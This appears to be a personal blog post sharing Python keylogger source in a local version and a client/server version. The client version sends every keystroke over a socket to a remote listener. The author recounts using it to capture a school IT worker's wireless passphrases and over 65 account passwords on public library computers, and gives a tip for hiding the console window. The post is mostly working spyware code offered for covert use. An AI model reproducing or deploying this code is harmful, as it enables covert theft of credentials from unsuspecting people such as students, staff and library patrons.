KeyLogger

This is a key logger I wrote some time ago. I found it useful when the IT guy at my school had to “configure” my laptop for the students access point. It gave me the pass phrase he entered. He couldn’t get it to connect, so he tested it on the faculties access point; so now I have all passwords for the schools wireless. I also ran a test on some computers at a local library and got over 65 usernames and passwords from myspace to gmail. I deleted all of them and never used the accounts I had access to; just wanted to see if and how well it worked.

I wrote two versions. One is a local logger; meaning it logs to the computer it is running on. The other is a client/server pair and is good for LAN/WAN networks. I wouldn’t trust the internet unless you want to add some SSL, I’m too lazy. And if you do, please post your code or a link to it in the comments.

Note: You can suppress the command console from popping up by saving your python file as .pyw

Version 1 (local)

Requires:

#keylog.py
import pythoncom, pyHook, sys, logging

LOG_FILENAME = 'Path//To//Log.out' #I.E. C:\Users\Tech\Desktop\log.out

def OnKeyboardEvent(event):
    logging.basicConfig(filename=LOG_FILENAME,
    level=logging.DEBUG,
    format='%(message)s')
    #print "Key: ", chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    return True

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()

Version 2.A (server)

import socket, logging, sys

logFile = 'path\to\log.out'
logging.basicConfig(filename=logFile, level=logging.DEBUG, format='%(message)s')

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.bind(('',6666))

s.listen(5)
conn, addr = s.accept()
print 'Client: ', addr[0]
logging.log(10,addr[0])

while 1:
    try:
    data = conn.recv(500)
    if data:
    print data
    logging.log(10,data)
    except socket.error:
        logging.log(10,'=-=-=-=-=END=-=-=-=-=-')
        print 'Connection at ', addr[0] ,' broken.'
        sys.exit()

Version 2.B (client)

try:
    import pythoncom, pyHook, sys, socket
except:
    print 'import error, check to make sure pythoncom and pyHook are installed'
    sys.exit()

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.216.1',6666)) #Change localhost to your servers IP

def OnKeyboardEvent(event):
    print "Key: ", chr(event.Ascii)
    s.send(chr(event.Ascii))
    return True

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
Advertisements

About Tech B.

I am currently employed as a tech support rep for Frontier DSL internet and Dail-Up service. If you live on the East Coast and have Frontier or the old Verizon, you may have spoken with me at one point. I do side jobs programming and building things for people. I know Python better than any language in my toolbox. I can also develop Android Apps, which are Java based. Other languages include C , VB/VB.NET, some C#, PBASIC, Batch, Javascript, and some PHP. I love microcontrollers and interfacing with the outside world. I am currently working with Arduinos, which are amazing. Also I can work with the Basic Stamp family of microcontrollers; future development includes FPGA and embedded Linux. I was going to school, but have financial issues at the moment that are keeping me from the books. I plan on going back in the next couple semesters and finishing up my Associates in IT, then perusing a BS in computer science.
This entry was posted in Programming Python and tagged , , . Bookmark the permalink.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s